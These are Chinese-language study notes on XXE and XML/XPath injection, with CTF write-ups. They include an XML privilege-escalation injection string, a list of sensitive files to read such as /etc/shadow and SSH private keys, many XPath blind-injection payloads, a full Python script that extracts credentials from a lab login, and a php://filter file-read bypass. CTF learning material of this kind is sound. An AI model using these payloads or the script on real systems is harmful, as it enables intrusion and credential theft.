XXE
XXE
XXE
全称为XML Enternal Entity Injection,中文名称:XML外部实体注入
XXE漏洞
DTD引用外部实体时导致的漏洞
解析时未对XML外部实体加以限制,攻击者可以将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等
特征:在HTTP的Request报文出现一下请求报文,即表明此时是采用XML进行数据传输,就可以测试是否存在XML漏洞
Content-type:text/xml application/xml
XML
什么是xml
xml(可扩展标记语言 ):用于储存,传输和重建任意数据的标记语言和文件格式
XML 是一种提供规则来定义任何数据的标记语言
表述文档信息
<?xml version="1.0" encoding="UTF-8"?>
每个XML文件都必须有一个根元素
XML注入
- 当系统对用户输入"<",">"没有做转义的处理,可以修改XML的数据格式,或者添加新的XML节点,形成攻击
注入攻击
当注册访问用户时(用户自己输入用户名)
所以攻击注入时 可构造 user1</user><user role="admin">user2
,用来拼接XML
防护
白名单:用正则 对用户的输入做严格的校验
实体引用
实体就好比变量,必须在DTD中定义申明,
DTD文档类型定义
XXE存在的地方,合法的XML文档构建模块,可以被声明在XML文档中,也可以作为一个外部的引用
1.内部DTD文档
<!DOCTYPE 根元素[定义内容]>
2.外部DTD文档
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
3.内外部DTD文档结合
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
外部实体
外部实体比内部实体多一个system
%xxe执行后会加载外部实体 evil.dtd 并执行,得到的结果会放在
DTD内部引用实体值(参数),格式:%参数
实例
XXE漏洞利用
XXE同SQ类似 分有回显和无回显
有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为 blind xxe(类似于布尔盲注、时间盲注)
文件读取
有回显
测试源码
payload
无回显
两种参考模板
利用协议 php://filter
来获取文件的内容(无法直接查看文件内容)
命令执行
php环境下安装expect扩展
payload
SSRF
SSRF的触发点通常是在ENTITY实体中
paylaod
绕过
- ENTITY、SYSTEM、file等关键词被过滤,可以采用编码的方式进行绕过,16进制等等
- 若http被过滤,可以采用data://协议、file://协议、php://filter协议等等绕过
[NCTF2019]Fake XML cookbook
[NCTF2019]True XML cookbook
常见的读取敏感文件
/etc/passwd
/etc/shadow
/etc/hosts
/root/.bash_history //root的bash历史记录
/root/.ssh/authorized_keys
/root/.mysql_history //mysql的bash历史记录
/root/.wget-hsts
/opt/nginx/conf/nginx.conf //nginx的配置文件
/var/www/html/index.html
/etc/my.cnf
/etc/httpd/conf/httpd.conf //httpd的配置文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
/proc/sched_debug // 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/mounts // 挂载的文件系统列表
/proc/net/arp //arp表,可以获得内网其他机器的地址
/proc/net/route //路由表信息
/proc/net/tcp and /proc/net/udp // 活动连接的信息
/proc/net/fib_trie // 路由缓存
/proc/version // 内核版本
/proc/[PID]/cmdline // 可能包含有用的路径信息
/proc/[PID]/environ // 程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd // 当前进程的工作目录
/proc/[PID]/fd/[#] // 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log
ssh
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/syscomfig/network-scripts/ifcfg-eth1
试着base64编码访问/etc/passwd
访问hosts文件
hosts文件:将一些常用的网址域名与其对应的 IP 地址建立一个关联“ 数据库 ”
当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从hosts
文件中寻找对应的 IP 地址,一旦找到,系统就会立即打开对应网页,如果没有找到,则系统会将网址提交 DNS 域名解析服务器进行 IP 地址的解析
- 加快域名解析
- 构建映射关系
- 屏蔽垃圾网站
访问proc/net/fib_trie得到可疑ip
爆破,拿到flag
[CSAWQual 2019]Web_Unag
上传xml文件
绕过waf绕过保护的xxe
-
转为16进制
-
正则
[BSidesCF 2019]SVGMagic svg
SVG格式:
参考文章SVG
SVG格式文件是可缩放矢量图形文件的缩写,标准的图形文件类型
SVG算是个xml,内容可控
flag以SVG图片的形式显示出来,图片大小可控,图片呈现的text文本内容位置可控
/proc/self/pwd/
代表当前路径
[NPUCTF2020]ezlogin
登录显示超时,抓包显示格式错误
先试试万能密码
x' or 1=1 or ''='
这里登录超时, 是因为token值在不断刷新
构造正确时,吓死你hi非法操作,比正确时多一位就是 ‘用户名或密码错误!‘
接下来查询节点个数
'or count(/)=1 or ''='
'or count(/)=2 or ''='
有回显 所以为布尔盲注
查看根下有几个字节点手工注入参考文章
'or count(/*)=1 or ""='
根下有一个字节点
接下里猜测子节点长度,长度为4
'or string-length(name(/*[1]))=4 or ''='
猜测子节点名称,root
'or substring(name(/*[1]),1,1)='r' or ''='
'or substring(name(/*[1]),2,1)='o' or ''='
'or substring(name(/*[1]),3,1)='o' or ''='
'or substring(name(/*[1]),4,1)='t' or ''='
接下来猜测root的子节点数,为1
'or count(/root/*)=1 or ''='
猜测root的子节点名称,accounts
'or substring(name(/root/*[1]),1,1)='a' or''='
'or substring(name(/root/*[1]),2,1)='c' or''='
'or substring(name(/root/*[1]),3,1)='c' or''='
'or substring(name(/root/*[1]),4,1)='o' or''='
'or substring(name(/root/*[1]),5,1)='u' or''='
'or substring(name(/root/*[1]),6,1)='n' or''='
'or substring(name(/root/*[1]),7,1)='t' or''='
'or substring(name(/root/*[1]),8,1)='s' or''='
接着猜测accounts的字节点数
'or count(/root/accounts/*)=1 or''='
'or count(/root/accounts/*)=2 or''='
accounts的子节点数为2
接着猜名称, 第一个子节点名称确为user
'or substring(name(/root/accounts/*[1]),1,1)='u' or''='
'or substring(name(/root/accounts/*[1]),2,1)='s' or''='
'or substring(name(/root/accounts/*[1]),3,1)='e' or''='
'or substring(name(/root/accounts/*[1]),4,1)='r' or''='
猜测第二个时可以
'or substring(name(/root/accounts/*[2]),1,1)='u' or''='
...
也可以
'or count(/root/accounts/user)=2 or ''='
表示猜测accounts下两个子节点均为user
接着是连着user表的字段id,username,password
'or substring(name(/root/accounts/user/*[1]),1)='id' or ''='
'or count(/root/accounts/user[position()=1]/*)=3 or ''='
'or substring(name(/root/accounts/user[position()=1]/*[1]), 1)='id' or ''='
'or substring(name(/root/accounts/user[position()=1]/*[2]), 1)='username' or ''='
'or substring(name(/root/accounts/user[position()=1]/*[3]), 1)='password' or ''='
接着是文本节点内容
'or substring(/root/accounts/user[2]/username/text(), 1, 1)='a' or ''='
'or substring(/root/accounts/user[2]/username/text(), 2, 1)='d' or ''='
'or substring(/root/accounts/user[2]/username/text(), 3, 1)='m' or ''='
'or substring(/root/accounts/user[2]/username/text(), 4, 1)='1' or ''='
'or substring(/root/accounts/user[2]/username/text(), 5, 1)='n' or ''='
'or /root/accounts/user[position()=2]/username/text()='adm1n' or ''='
'or /root/accounts/user[position()=1]/username/text()='guest' or ''='
有两个用户名adm1n,guest
拿到adm1n的密码
'or /root/accounts/user[position()=2]/password/text()='cf7414b5bdb2e65ee43083f4ddbc4d9f' or ''='
md5解码为gtfly123
再附上本题exp 参考链接
import requests
import re
s = requests.session()
url ='http://47e7790f-8a53-4efa-988b-7a350ebb91d5.node3.buuoj.cn//login.php'
head ={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
"Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
flag =''
for i in range(1,100):
for j in strs:
r = s.post(url=url)
token = find.findall(r.text)
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
print(payload_password)
r = s.post(url=url,headers=head,data=payload_username)
print(r.text)
if "非法操作" in r.text:
flag+=j
print(flag)
break
if "用户名或密码错误!" in r.text:
break
print(flag)
<root>
<accounts>
<user>
<id></id>
<username>gtfly123</username>
<password>e10adc3949ba59abbe56e057f20f883e</password>
</user>
<user>
<id></id>
<username>adm1n</username>
<password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password>
</user>
</accounts>
</root>
登录进去是一段base64
解密得到flag is in /flag
伪协议访问,绕过一下 ?file=pHp://filter/convert.BAse64-encode/resource=/flag